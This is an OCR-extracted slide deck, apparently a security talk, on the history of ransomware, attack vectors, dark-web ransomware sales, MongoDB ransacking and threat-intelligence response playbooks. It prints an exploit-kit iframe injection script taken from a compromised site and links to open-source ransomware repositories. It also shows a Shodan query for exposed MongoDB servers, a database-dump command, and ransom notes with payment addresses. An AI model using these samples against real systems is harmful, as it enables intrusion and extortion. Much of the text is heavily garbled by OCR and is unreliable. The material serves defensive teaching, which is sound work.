THE RANSOMWARE ODYSSEY:

Their Relevance
and
Their Kryptonite
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A New Wave of Attacks
\

Infected victims send out scans looking for other windows PC’s on the local network,

propagating the worm.

The exploit WannaCry uses were created by the NSA [SMB Vuln], a patch was

released by Microsoft
The AES key is encrypted using infection specific public key generated, the
Master Key is needed to decrypt the file, currently only the public part has been

analysis

WannaCry tries to load an infection specific public key “00000000.pky” if it doesn’t
exist, WannaCry uses“CryptoGenKey” to create a keypair

Double Pulsar/Eternal Blue reportedly developed by NSA, leaked by Shadowbrokers and exploited by
Wannacry 2 months later. RCE type issues need expedited patch processes.



The Game is Changing

Exploit Subscription for $21,000/month




https://git
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Downloadable Ransomware

b.com/mauri870/ransomware

https://git

Nu

h.com/goliate/hidden-tear

https://git

Nu

h.com/roothaxor/Ransom

nttps://git

Nu

b.com/bitdust/WamaCry

Ooops your files have been encrypted!

What's wrong with my computer?
Some of your important files were saved by my encryption
Photos, pictures, documents, compressed packages, audio, video files,
exe files, etc., almost all types of files are encrypted, and therefore can
not open normally.
Payment will be raised on: This is a fundamental difference between the general file damage, you
can find a way to restore the file on the Internet, | guarantee that we do
not have the decryption service, even if God can not restore these
Time Left: documents.
:5 :HL{ HU Is there a way to restore these documents?
Of course there are recoverable methods. Can only be restored through
our decryption service. To provide a safe and effective recovery service.
Your files will be lost on: But this is a charge, and can not be infinitely delayed.
2017-6-1:00:00 Please click the <Decrypt> button and have the opportunity to recover
e some documents for free. Please rest assured that | will never lie to you.
Time Loft: But you want to restore all documents, you need to pay the cost.
Md: G: 35 Whether it can be fixed at any time the amount of payment, will be

24:00:00

b ,t ® Send $300 worth of bitcoin to this address:
= I,IC(S,FOU!FQ 2MAXLVy54FkShb8drFEmGcyz3gEW19MVQn

Check Payment



https://github.com/mauri870/ransomware
https://github.com/goliate/hidden-tear
https://github.com/roothaxor/Ransom

Ransomware Evolution

KCryptowaII \ m.ocky \

* CBT locker *Zepto
¢ Cryptographic Locker e Keranger (1% targeting OS X
WAl e TorrentLocker. 'Cerbef : geting 05 X) * Philadelphia
N Bandarchor. ¢ Petya (Super ransomware)* *Cerber
o New family Teslacrypt «SAMAS e Wannacry
yLEEDE * Maktub (nicely graphic design) peia
*TOX. oJigsaw *Sage
e Fakben
eRadamant
eChimera

- J o J

Image 1. Ransomware evolution from 2014 to 2016

Own design for training Purposes
| |

in



Attack vectors

Phishing emails

Beware Of Phishing

Web based attacks
 Drive by downloads /Exploits Kits

(malvertising)
e Jboss (Samas), wordpress, Joomla




| got an email from Nigeria?

From: Mao Kolander <transaction@larynx.co.uk>
Date: 16 December 2014 12:09:12 GMT

To:

Subject: Note D-57022RI-4035

This is an automatically generated email. Please do not reply as the email address is not monitored for received mail.

Notification Number: 8018817
Mandate Number: 4909927
Date: December 16, 2014. 12:47pm

In an effort to protect your Banking account, we have frozen your account until such time that it can be safely restored by you. Please view
attached file “D-57022RI1-4035.cab" for details.

Yours sincerely,
Mao Kolander
+07869 007210

Attachments: | D-57022R1-2035.ca

ROYAL BANK
of
NIGERIA

I have emailed everyone
I can possibly find, my Prince,
but no-one wants to help
Yyou move your money.

T-X COMICS %




Cerber

e Subject “21735 Ssuitemangun”

B/ BitRecover EML Viewer
File Edit Wiew Help

=] g

(=)l [=]

Q @ L e

QPEM REFRESH SEARCH HELFP SUPPORT EXIT
- [C]ilel cerber email BEf93fE8!E Date From Tn Subject
De:car&? de archivos o || = @ 21735 ssuitemangum
Advertencia de sequridad de Descarga de archivos @

iDesea guardar este archivo?

Mombre:  FTTO012E
Tipo: Tipao de archivo desconocido
De: ChUsers\Susan\AppData\Local\Temp\bitrecov...

Guardar ]I Cancelar

Date: :

tipo de archivo puede llegar a dafiar &l equipo. Sino corfia en el L

& = | Aungue los archivos procedentes de Intemet pueden ser dtiles, este
\l 3 : " &
= orgen, no guarde este software. jCudl es el iesga?

P 8352372
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Processes In

. Zip file contains “js” file

Archivo Otdenes Hemramientas Fav nto Op nes Ayuda
_SAﬂd Extraer en Cmprolh‘

m §3888237.zip-arch'w ZIP, temanio descomprimide 8.499 bytes
Tamafo Comprimido Tp Modificado CRC32

Nombre
e —s O —
uen... 23/04/20179:20 ELBEDFF7

[Bls181 4 3547 Archivodes

Vef | Elimin Buscar Asistente Informacién | Buscarvin

Total 8499 bytes en 1 fichero

the background

* Loads
* wscript.exe,schtasks.exe

e svchost.exe

* taskeng.exe
 Temporal file "iyOsz7tth.exe"
e
4 sychost.exe a6 002 1711 M
‘ﬂtaskeng.ﬂ:e 2504 LOTME  WIN-C2ZM2DRL.AS

0 eychost.exe 0% 031 . 6.02 MB

ITH HH Tq,.p:\.'l'.H m;_.‘:l.':ll.l:llﬁ:—:;.:{':. '.1. .;'H "H -p:l;:‘:;p:!;';;-.i: ............................................................



Location

e Under C:\Users\USERID\AppData\Local\Temp

- 1™ ProcessHacker.exe 2416 g23 ; o do PR W

B

* Later on we see taskeng.exe making reference to the temp file

a E sochasl ek aif 0.0z 1708 KB Froceid host para hes Sereecil..
"1 taskeng, mee 250d LM MB  WIN-C2MEIOPL.\Susan  Motor de Programador de ter..
® ] merhast, 9% fn: [ KR Erore=n hnst niara los senscion,,

ﬂ'l:'-':' i taskeng.sse |EEESGFAL - 2250 A FN0-37 DA -2 ZAFHEFCDCE ) 5-1-5-21 1053501 442 J1 58003138 - 114 23460 -1 [N ST
n ) | -CIMU DRSS R Surandnberactived LUA[1]
spemedan. File
"1 svchost A Wendows Systemi Fibaskbeng e
W =prfoymat Mctor de Programador de taneas 8.1, 7600 18384

257 Seprching '::Ll:-lmw Corporskicn

B Saarchl  Callgers SunaniuippDista\Locah Temp\iylszltth-exe (\bERR9I] ...




All files encrypted

Papelera Ko  CERBER RANSOMWARE

reciclaj
. \"DUR D{]ElﬂﬂEMTS PHDTOS DﬂTﬂBﬂSES E.ND ICITHEFI IMF"DHTAMT FILES
HAVE BEEN ENCRVPTED'

» The ﬂnly way to dECPypt youP F11E5 is to PECElVE 1¢f"
FL ';_ the pPlvatE key and dECPyptlon pPGgPam ety

Tﬂ receive thE pPlvatE key and dECPyptlon pPUgPam

go to any decr'pted folder - inside there is the special file (*_ READ THIS FILE *)'
L .wﬂ:h cnmplete 1n5tr“uct1c-n5 hD‘I.-J' tr::u decr*ypt your* ‘Fl].ES . -

: ou cannot flnd any (+ READ THIS FILE *) flle at your PC
““DTWhHL . Follow the 1nstruct10n5 belnw =

2l 2 In the "TDP Browser open your perscnal page hEPE

tp ,;pl?dokhszn?nng onlonIBBFS AlAF EBEB 9991 EEE4




* Payment:
hxxp://p27dokhpz2n7nvgr.onion

Captcha???

/7A25-8009-CEE7-0091-C5C7 o Cr— ek
. S @" (- 2T dekhpz2Zndegr.enion: BOFS-212F & Q, Tearch =
| ceperteane \* == g_% CERBER DECRYPTOR IAT—
s - (& p27dekhpz2nTrvgr.enion BOFS- 21 4F C || Q search = =
ﬁ CERBER DECRYPTOR |
' For security reasons, please
Choisissez votre langue confirm you are a human and not a
robot below:
= = N
English Deutsch Espafiol el a";';:?ﬁi:i?::::f
Click verify once there are nane |E-ﬂ.. I%ﬁ:

intel)



Here comes the night

Select all images below that
similar to this one:
Click verty once there are none left

Tap on all tikles with the pictures similar to the
sample above. If new tiles appear with the similar
| pictures again, tap those as well When there are
no more similar pictures left, click Verify

) | 10% 710%







1 day later...

— - -

VLIVO TIVIITIUD 1PV LAalilco 1i1all SIivuv viliauuvuo:

Para decodificar sus ficheros debera adquirir el software especial — «Cerber
Decryptor».

Todas las operaciones deben ser realizadas solo a través de la red
Obitcoin .

Dentro de 5 dias usted podra adquirir este producto a un precio especial: B
1.000 (= $1236).

Después de 5 dias, el precio de este producto se incrementara hasta: B
2.000 (= $2473).

>

55

having any other duestions, pleésé contact us

® Support
Date

24/4/2017 01:14:00

24/472017 07:38:40

24/4/2017 07:38:50

via the contact form:

Message Type

Hello | do not have the full $2000 however | can pay © Question
$500, | wonder if you guys can take that amount

Sorry, but we can not give you a discount. « Answer

After payment you will get a link for downloading of  # Answer
Cerber Decryptor. It will decrypt all your files!!!

intel.



Behind the scenes snfE021.tmp

=

* Temporary file call: snfE021.tmp

Dff==t g1 2 3 4 5 6 7 8 9 A B C D E F Ascii

gooooizo | 00 00 00 00 00 00 00 00 00 00 00 OO0 a0 ao oo a0 | ................
00000130 | 63 82 53 63 35 01 03 3D 07 01 00 OC 29 B? 53 D9 | cHScS L== ) SO
gooooildo | 0C OF 57 49 4E 2D 35 4D 41 47 48 44 37 41 55 41 IZWIN-SMAGHI7ATL
goooolso | 54 51 12 00 00 00 57 49 4E 2D 35 4D 41 47 48 44 | TCI .. WIN-SMAGHJ]
goooolen | 37 41 55 41 54 3C 08 4D 53 46 54 20 35 2E 30 37 | JAUAT<GMSFT.5.07
gooooilvo | 0cC 01 0OF 03 06 2C 2E 2F 1F 21 79 F9 2B FF 18 00 1 9t—, .7 lya+yt,
ooooniso | 48 01 00 00 49 Fe AS EB 38 BD D2 01 00 50 56 E5 | H . Io®s8kC FVa
00000190 | A4 A0 00 OC 29 B? 53 D9 45 10 01 48 00 00 00 00 | & .p)-SUE+ H. ...
00000140 | 10 11 44 BE CO A% 6E FE C0 AZ 6E 28 00 43 00 44 | +«J%A npA nl.C.D
gooooileo | 01 34 DF 75 02 01 06 00 23 79 02 72 00 00 00 OO 4 — Fyr. ...
000001C0 | CO A8 6E 88 CO A% 6E 88 CO A3 6E FE 00 00 00 00 | A nld nld nb. . ..
gooooiba | o0 oc 29 BY 53 D9 00 00 00 00 00 OO0 oo ao oo oo st
QooooiEQD | 00 00 00 00 00 00 00 00 00 00 00 a0 ao ao oo a0 | ................
gooooikFo | 00 00 00 00 00 00 00 00 00 00 00 o0 oo ao oo a0 | ........ ... .....
gooooz2oo | 00 00 00 00 00 00 00 00 00 00 00 o0 oo ao oo a0 | ... ... ... ... ...
goooozilo | 00 00 00 00 00 00 00 00 00 0o 0o oo oo 00 0000 | ..., . ... ..
NOANN220 0 0N oo nn oo an oo nn oo nn nn an on an nn an nn

ntel)
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e DGA domain

Malicious domain

hxxp://sedwrfaawsa4.xyz/search.
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Behind the scenes yv4msi53p.exe

w CFF ploer V- [pamsSipece) I . SS—S—

File Settings 7
Ilr\ﬁ} \a @ /" snfE021 tmp ¥ yvémsiS3p.exe
Member Offzet Size Value Meaning
E [T File: yv4msi53p exe : File is executable

a3 Machine 000000E4 Word File iz a DLL

Dos Header Svstem Fil

(2] Mt Headers NumberOfSections | 0000006 Word 0003 e ctripped from fie
% File Header . Li b ipped from fil
TimeDate5ta 000000ES Dword SEDABF34 ine numbers siripped from Tie
(= Optional Header me mp o Local symbaols stripped from file
(& Data Directories [ PointerToSymbolT... | 000000EC Dword 00000000 Agressively trim working set
L (3] Section Headers App can handlg =2gb address space
_ MNumberOfsymbels | 000000FD Dword 00000000 Bytes of machine word are reversed (ow)
— (D import Directory - - 32 bit word machine
— |2 Resource Directory 5ize0fOptionalHea... | 000000F4 Word 00EQ Debugging info stripped from file in .CBG file
— |7 Relocation Directory . If Image is on removable media, copy and run from the swar
I % Address Converter Characteristics 00000076 Word If Image is on Net, copy and run from the swap file
L I"'| File should only be run on a UP machine
%w Walker Bytes of machine word are reversed (high)

— or
— 4, Identifier
— ), Import Adder | ok | | cance |
— %&l::k Disassembler
— %, Rebuilder
— ‘% Resource Editor
— &, UPX Ukility




o B W

B [T Fle: yv4msi5dp exe
— (=] Dos Header
[=] Mt Headers
|2 File Header
(=l Optional Header
[Z] Data Directories [x]

— (=] Section Headers [x]
— Eﬂlmport Directory
— I3 Resource Directory
— I3 Relocation Directory
— %Mcl'm Converter
— 4, Dependency Walker
— %, Hex Editor
— &, Identifier
— &, Import Adder
— 4, Quick Disassembler
— 4, Rebuilder
— %Hmm Editor
L— &, UPX Unility

SNTEVLE.TMD yvamsiosp.exe
Member Offset Size
Magic 000000F8 Word
MajorLinkerVersion 000000FA Byte
MinorLinkerVersion 000000FB Byte 00
SizeOfCode 000000FC Dword 00025800
SizeOflnitializedData 00000100 Dword 00003800
SizeOfUninitializedData 00000104 Dword 00000000
AddressOfEntryPoint 00000108 Dword 00001000 text
BaseOfCode 0000010C Dword 00001000
BaseOfData 00000110 Dword 00027000
ImageBase 00000114 Dword (00400000
SectionAlignment 00000118 Dword 00001000
FileAlignment 0000011C Dword (00000200
MajorOperatingSystemVers...| 00000120 Word 0005 DLL can move
Code Integrity Image
MinorOperatingSystemVer.., | 00000122 Word 0000 Image is MX compatible
MajorlmageVersion 00000124 Word 0000 11:2: :x:(:zzd;iﬁﬁm and dossnit want t
MinormageVersion 00000126 Word 0000 &:;tub;:: mm;gse‘
MajorSubsystemVersion 00000128 Word 0005 Terminal Server Aware
MinorsubsystemVersion 00000124 Word 0000
Win32VersionValue 0000012C Dword 00000000
SizeCflmage 00000130 Dword 00035000
SizeOfHeaders 00000134 Dword 00000400
CheckSum 00000138 Dword
Subsystermn 0000013C Word
DliCharacteristics 0000013E Word
SizeOfStackReserve 00000140 Dword
SizeOfStackCommit 00000144 Dword 00001000
SizeOfHeapReserve 00000148 Dword 00100000
SizeOfHeapCommit 0000014C Dword 00001000
LoaderFlags 00000150 Dword 00000000
MumberOfRvafndSizes

in

te



ITFE:pIDrer I - [ywd
File Settings 7

S B8

Dependency walker

=nfED21.tmp /V yv4msi33p.exe

B [T File: yv4msi53p.exe
— (& Dos Header
[Z] Nt Headers
[Z] File Header
[Z] Optional Header
[=] Data Directories [x]

— [=] Section Headers ]
— [Ellmpnrt Directony
— =) Resource Directony
— |3 Relocation Directony
— %, Dependency Walker
— %, Hex Editor
— 9, Identifier
— %, Quick Disassembler
— %, Rebuilder
L— 4% UPX Uhility

= yvamsisap.exe

-4 kernel32.dl
e 2] API-MS-Win-Core-RtSupport-L1-1-0.di
7% ntdll.di
F-|%] KERMELBASE.dll
i | %] APIMS-Win-Core-ProcessThreads-L 1-1-0.dll
| %] APT-MS-Win-Core-Heap-L1-1-0.dl
£-|%] APT-MS-Win-Core-Memary-L 1-1-0.dl
F-|%] APT-MS-Win-Core-Handle-L 1-1-0.dl
£-| %] APT-MS-Win-Core-Synch-1-1-0.dl
i %] API-MS-Win-CoreFileL 1-1-0.dl
%] APT-MS-Win-Core-10-4 1-1-0.dI
%] API-MS-Win-Core-ThreadPoolL 1-1-0.dl
-|%] API-MS-Win-Core-LibraryLoader-L1-1-0.dl
i -|%] APT-MS-Win-Core-NamedrPipe-L1-1-0.dI
%] APT-MS-Win-Core-MiscL1-1-0.dll
: %] APTMS-Win-Core-SysInfo-L 1-1-0.dll
F-|%] APT-MS-Win-CoreLocalization- 1-1-0.dl
F-|%] API-MS-Win-Core-ProcessEnvironment-L1-1-0.dl
i -\ %] API-MS-Win-Core-String-L 1-1-0.dl
%] API-MS-Win-Core-Debug- 1-1-0.dll
%] API-MS-Win-Core-ErrorHandling-L 1-1-0.dll
£-|%| API-MS-Win-Core-Fibers-L1-1-0.dI
-] APT-MS-Win-Core-Uti-L1-1-0.dl
-3 APTMS-Win-Core-ProfileL1-1-0.dl
APT-MS-Win-Security-Base-L1-1-0.dl

Property Yalue

File Mame ChHWindows\system32VWAPT-MS-Win-Core-RtlSupport-11-1-0.dlI
File Type Portable Executable 32

File Info Mo match found.

File Size 3.00 KB (3072 bytes)

PE Size 3.00 KB (3072 bytes)

Created Saturday 22 April 2017, 15.43.22

Modified Thursday 04 October 2012, 10,40.37

Accessed Saturday 22 April 2017, 15.43.22

MD5 281 42C962BBTE9EFSEEE CFECBEF100CO

SHA-1 6731F1AAFAZDBI1DBEBECF4ADFF3310C239B3026C
Property Value

CompanyMame Microsoft Corporation

FileDescription
FileVersion
InternalMame
LegalCopyright
OriginalFilename

ProductMame

ApiSet Stub DLL
6.1.7601.17965 (winTspl_gdr121004-0333)

apisetstub

2 Microsoft Corporation. All rights reserved.

apisetstub
Microsoft® WindowsE Operating System
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Exploits Kits
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Crypwall Crypwall Crypwall Crypwall
5 g 5 5
Cryptesla Cryptesla Cryptesla Cryptesla
( 5 5 5 5
Crilock ,
_ Waltrix Crypctb Cerber
e Ottawa Hospital
) o o
Cerber Crypshed
: 5 5
Locky Locky




Sundown EK “Eltest Campaign”




Activa Clinics

.. r'ﬂ http://activaclinics.com/ - Onginal Sourc

File Edit Format

1187

1188%{5cript type="text/javascript”> Cufon.now(); </script:>

1189

1190 1 <body> </body>

1191 j<script type="text/javascript"> var vhinm = "iframe"; var copqcaq = document.createElement
(vhinm); wvar aayet = ""; copgcaq.style.width = "6px"; copqcaq.style.height = "6px";
copqcaq.style.border = "@px"; copqcaq.frameBorder = "0"; copgcaq.setAttribute(”frameBorder”,
"@"Y); document.body.appendChild(copqcaq); aayet = "http://hco.huc.mobi/index.php?z3HbOH2 tdcCHS-
bjw=uHgoNTeghKcCHi3agvcYOVmN@Ic@9RQ9-QaomVZiIwynksmzx7R3IFJFM" ; copgcag.src = aayet; </script>
- </body>

=

 </html>




PCAP traffic

Filter: http.request or udp.port eq 6892 ~ Expression.. Clear Apply Save Filter Filter
Date/Time Dst porl | Host Info

activaclinics.com GET /7 HTTP/Ll.1
2017-01-15 23:18:49 ©53.190.143.82 80  hco.huc.mob1 GET /index.php?z3HbOH2 tdcCHS-bjw=uHgENT EghKcCH1 3agveY SVmNOIcOSRQ9- QaomVZ:
2017-01-19 23:18:50 953.190.143.82 =10] hco.huc.mobi GET /7/789643522803 HTTR/1.1
2017-01-19 23:18:50 53.1850.143.82 B0 hco.huc.mobi GET /7/7947545190441&1d=265 HTTP/1.1
2017-01-19 23:18:51 53.150.143.82 =10] hco.huc.mob1 GET /7/778493521 HTTP/1.1
2017-01-18 23:18:53 93.180.143.82 80  hco.huc.mobi GET /bvfhjgejhfrg.png HTTR/1.1
2017-01-18 23:18:54 93.190.143.82 80  hxrheg.fve.mobi GET /@@@.php71d=265 HTTR/1.1
2017-01-19 23:19:02 90.2.1.0 6892 Source port: 50025 Destination port: 6892
2017-01-19 23:15:02 S50.2.1.1 6892 Source port: S0025 Destination port: 6892
2017-01-18 23:19:02 890.2.1.2 6892 Source port: 50025 Destination port: 6892
2017-01-19 23:19:02 90.2.1.3 6892 Source port: 50025 Destination port: 6892
2017-01-19 23:19:02 S90.2.1.4 6892 Source port: 50025 Destination port: 6892
2017-01-18 23:19:02 B50.2.1.5 6892 Source port: 50025 Destination port: 6892



Ransomware Variants

Normal ePetya/misha (MFT)

F|Ie |€SS ePower-shell
ransomware (L

eStampado
ePhiladelphia
RaaS eCommodity

ransomware
eSpora



Philadelphia or Stampado

Stampado Ransomware FUD CHEAPEST ONLY 39
LIFETIME LICENSE

pwoahbflouhibkze onion/listing phoid=181509 Alphabay
Stampado Ransomware You always wanted a Ransomware but neve

wanted to pay hundreds of dollars for it This vts‘a"x'o_i-'“W'o 3
cheap and easy to manage ransomware developed by me and my team It s
meant to be f'e:-;ifj,fe:-;sy'tc use You ll not need a host All you will need s an
email account The file can be sent in the followin

\Vy ca lare nank:
CMa YOU Can alS0 LSE DINGErS PaCKers...

Vendor Price Location
The Rainmaker () B0.05990875 Worldwide

is the best option for you.

Discover why

PHILADELPHIA

formats exe hat dif scr and

—

2

———

Philadelphia Ransomware - FUD -
NEW VERSION 1.36.2 - CHEAP - ALL
AUTOMATIC - UNDECRYPTABLE -
UPDATED + BONUS! - 20% OFF -
DISCOUNT - LIMITED OFFER

Philadelphia Ransomware - The Most Advanced and Customisable
you've Ever Seen VIDEO: https:/ivid.me/Plfj Conquer your
Independence with Philadelphia Ransomware! Version: 1.36.2 -
UPDATE 13th March Get an Advanced and Customisable
Ransomware at a Full Lifetime License! Philadelphia innovates the
Ransomware Market by presenting several Features that makes it
possible to manage a V...

Sold bé The_Rainmaker - 59 sold since Sep 9, 2016

Trust Level 6

Features Features
Product class Digital good©Origin country Worldwide
Quantity left 1 items Ships to Worldwide
Ends in Never Payment Escrow
| Default - 1 days - USD +0.00 / item ~|

Purchase price: USD 308.00

o' (CIEIEE

0.2605 BTC / 15.7734 XMR



Tall, dark and ransom




WE HAVE TO
PAY HOW MUCH??




AMOUNTS DEMANDED BY RANSOMWARE PERPETRATORS IN USA

300
g
g
119 %~

Up to $500 $501 to $1000 $1001 to $5000 $5001 to S10000  S10 001 to $50 000 S50 000 to $150 Greater than $150
000 000




Hasta la vista, Ransomware!
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Can we ever win the fight against
ransomware”?

A
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Ransomware
Voldy

|

INFOSEC around
the world




Truth must be told....
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...we are all out of
jobs without them.




Threat Intelligence for Ransomware
WHEN YOU REALIZE

®

THREAT INTELLIGENGE PROGRAM.SUGKS,



What Are We Up Against?

Jigsaw

* Deletes files periodically until
ransom is paid

* Demands $150 in BTC

* Can potentially be purchased on
dark web

KillDisk

* Linux Variant

* Demands that user pays 222 bitcoin

* Does not store decryption keys (bye
bye data)



What Are We Up Against?

B1tc
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You haves' made payment yet! Try agsiel
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What's Under The Hood?

* Encryption Functions
e Searches for file extensions
* Leveraging open encryption standards
* %UserProfile%\AppData\Roaming\System32Work\EncryptedFileList.txt

e Persistence Functions

* Add registry key

 HKCU\Software\Microsoft\Windows\CurrentVersion\Run\firefox.exe
%UserProfile%\AppData\Roaming\Frfx\firefox.exe

e Add to autorun list
* Delete 1k files of encrypted files on startup



What Are We Up Against?

Jigsaw
* Demands $150 in BTC

* Deletes files periodically until
ransom is paid KillDisk

* Can potentially be purchased on

e Windows and Linux Variant
dark web

* Demands that user pays 222 bitcoin

* Does not store decryption keys (bye
bye data)



What Are We Up Against?

GNU GRUB wersion Z2.82 betaZ-9ubuntul.1?

He are so sorry, but the encryption

of your data has been successfully completed,

=0 you can lose your data or

pay 227 btc to 1094RXgrSHzyNh9In3¥YLDGeBoJhxJBigcF
With blockchain. info

contact e—mail :vuyrkSbBgoudlelantos. org

Use the * and 4 keys to select which entry is highlighted.
Press enter to boot the selected 05, 'e’ to edit the commands
before booting or ‘¢’ for a comMand-line.




What's Under The Hood? (Linux variant)

* Encryption Functions
* Recursively traverses the root directory up to 17 subdirectories deep
* Files encrypted using Triple-DES
* Encrypts each file with a unique set of encryption keys

* Persistence Functions
* Overwrites bootloader entry
 GRUB displays ransom message



Ransomware Kill Chain

Executable Delivery
Executable Installation
C2 Key Exchange

File Encryption




Collect, Detect, Respond

Network
Devices and
Appliances

Threat

Intelligence I o=
Platform

Threat
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Engine

Incident
Response
Ticketing

System

Incident
Response
Produced

Intelligence



Collect, Detect, Respond

* Ingest open source feeds and ensure all data types are being collected

* Leverage existing security architecture to feed existing threat intel
platform and analytical processes

* Create custom analytics to make intelligence actionable

* Incident response playbooks that cover feeding intelligence back into
platform

intel)



Collect, Detect, Respond

Network
Devices and
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Threat Threat
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Rating Your Threat Intel Feeds
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Collect, Detect, Respond

Network
Devices and
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To Build or Not To Build




Collect, Detect, Respond

Network
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Analytic Engine

Logs
10Cs
Analyst
Feedback

) 4

intel)



Creating Analytics

* Email:
* Blacklist To/From sender and IP Address
» Total IOC score from all threat sources weighted on confidence from each source

* Network Communications:
* Blacklist Network I0Cs
* Total IOC score from all threat sources weighted on confidence from each source
 Anomalous HTTP/DNS Detection (Payload size, Frequency Extraction, DGA)

* Endpoint
 Blacklist File Extensions
* YARA
* Rapid attempts to create, modify, and access files

intel)



Collect, Detect, Respond

Threat
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Produced
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Creating Playbooks

Determine Ransomware Infection
* |f device is infected, is it ransomware?

Investigate Infection Delivery
* Email, exploit kit, ect..
e Search for other malicious artifacts

Scope Incident
* |dentify malicious binary
* |dentify encrypted or ransomed files

Protect against it
 UPDATE SOFTWARE
* Blocking I0OCs
* Tuning Analytics
* Security training
Recover

» V\erify that infection has not spread or remains
* Restore from backup if possible

ntel)



Aftermath
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Motivation Behind These Attacks

J




Scanning for Misconfigurations!




CLOUD SERVICES

SERVER DRIVERS

MongoDB Documentation (Defcon 21 ->

Yes No

. mongoLlg
¥ngoDB Manual Q
Was this page helpful?

Use Trusted Networking Environments

' mnnﬁm’gN

Always run MongoDB in a trusted environment, | network rules that prevent access from al/ unknown
achines, systems, and networks. As with any s tive system that is dependent on network access, your
1 1 -
ongoDB deployment should only be accessilf specific systems that require access, such as application
components.

vers, monitoring services, and other Mong

4, and mongod assumes a trusted environment. Enable
ded. For more information on authentication mechanisms supported in

authorT2uthorization is pots
MongoDB as well as authorization in MongoDB, see Authentication and Role-Based Access Control.

For additional information and considerations on security, refer to the documents in the Security Section,

specifically:

* Security Checklist
* MongoDB Configuration Hardening

e Hardening Network Infrastructure



2015

Recon

It's the Data, Stupid

Top Countries

1. United States
2. China
3. France
4, Russian Federation
5. Netherlands
6. Germany
7. United Kingdom
8. Japan
9. Singapore
10. Brazil

TOP COUNTRIES

United States
China
Germany

Framce

Matherlands

15,087
10,502
2,359
2,226
1,784

2017

ntel)



E.l. du Pont de Memours and Co.

Amaron

OVH SAS

angzhou Alibaba Advertising Co.,Ltd.

Linode

Enzu

Aliyun Computing Co., LTD

Take 2 Hosting

Recon

Top Organizations




Recon

Top Versions




Think & Act As If You're The Attacker




My Mindset When Investigating!

def ():
print(“Who, What, Where, Why & How")

attacker()



Know Your Hackers and Groups
Expand Your Network




Profiling The Attackers Mindset

* You must understand the people that will go after your Company
 What do they want:

e |P?

* User Data?

* Money?

* Bragging Rights?

* Ask yourself if | was an attacker what would | go after, How would | break
into the environment.

e Offensive thinking is the best Defense — A lot of the times products are not

rolled out properly!
('nteF)



Going After the MongoDB

o(0m Wour) 1
D]s






Finding The Right Service

- {@gmail.com=> -
t -

I'm looking to start off with 1 virtual server and then add more servers. If my IP address are
blocked by a transit provider can | get a dynamic |F.



| didn't see that coming

h -
fome [~

Dear Mr.

Thank you for your message to ‘DataCenters.

Well, it is not our intention to encourage you nor our job to teach
to hide your identity on the Internet.

If you would do that then no provider can stop you.

If you have any more questions or you would like to reply to this email
then please mail to: info@

Regards,

LS

- (intel)



Building a scanner
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Just Use Shodan

product:"MongoDB" country:"ru"

SHODAN

Computer Search Engine
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The One Question?
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Holding The Data Hostage

GNU nano 2.5.3 File: steal that shit.

ing’
~ y

S:m5% mongoexport —d StEdlthl: -C restaurant; -0 ftmpfﬂtEdl that :hlt ];un
2017-85-29T719:50:18.993-6706 connected to: localhost
2017-85-29T719:50:20.011-0700 [eeiirienenenacnnnanennes] stealthis.restaurants /25359
2017-85-29T19:560:21.831-67606 | #ERaHaHaREHR. .. ......] stealthis.restaurants 16000/25359
2017-85-29T719:56:21.177-6700 | #uupaunanigseanasnuaniis] stealthis.restaurants 25359/25359

cﬂl? BS 29719:50:21.177-0700 ewpmrted *5359 recardf o

twfuuah y
"borough

rough
rough
orough”
*tar
yttar
gh™
”\_H;r ough o
Ll)f"."i*ﬂr;r'
"borou ;u" >

BBDBDBBBBBBBBBBBNBBNDDBBDBNBNN




Haraklrl

victor@windowlicker:~$ mongo --host

MongoDB shell version v3.4.1

connecting to: mongodb:// /

MongoDB server version: 2.2.0 RAW Paste Data
WARNING: shell and server versions do not match

> show dbs selling Kraken DB Ransomware Kit c# source code

WARNING 0.203GCB

Kit source price: 5@@USD in bitcoins
we also sell compiled binary ready to work for 1@@usd total for both

> use WARNING

switched to db WARNING This shit is very fast Multi-Threaded can handle 18@@+ ips per second and way more if you got powerful 1@GBs

> show collections port

WARNING CPU load is very low, RAM is important if you have big ip list.
system.indexes

> db.WARNING.find()

{ "_1id" : ObjectId("5859a0370b8ed49f123fcc7da"), "mail" : "haraklri@sigaint.org”

, "note" : "SEND 6.2 BTC TO THIS ADDRESS 13zaxGVjj9MNc2jyvDRhLyYpkCh323MsMgq AND

victor@windowlicker:~S AC
victor@windowlicker:~$

ntel)



Search for MongoDB ransacking Google
Docs

How to secure your Mongdhttps:llwww.mongodb.com/bIog/postlhow—to-avoid—a—malicio

aaaaaaaaa

Owndd 5-1-2017 12:50:00 Own3d@protonmail.com 15b7bSBtUgBN F skEF]WRDg9gy6f 0.5 BTC
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Any gquestions?
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"In my day, kids didn't build massive, ransonnvare-
spewing botnets. They got a paper route."

brianmooredraws.com




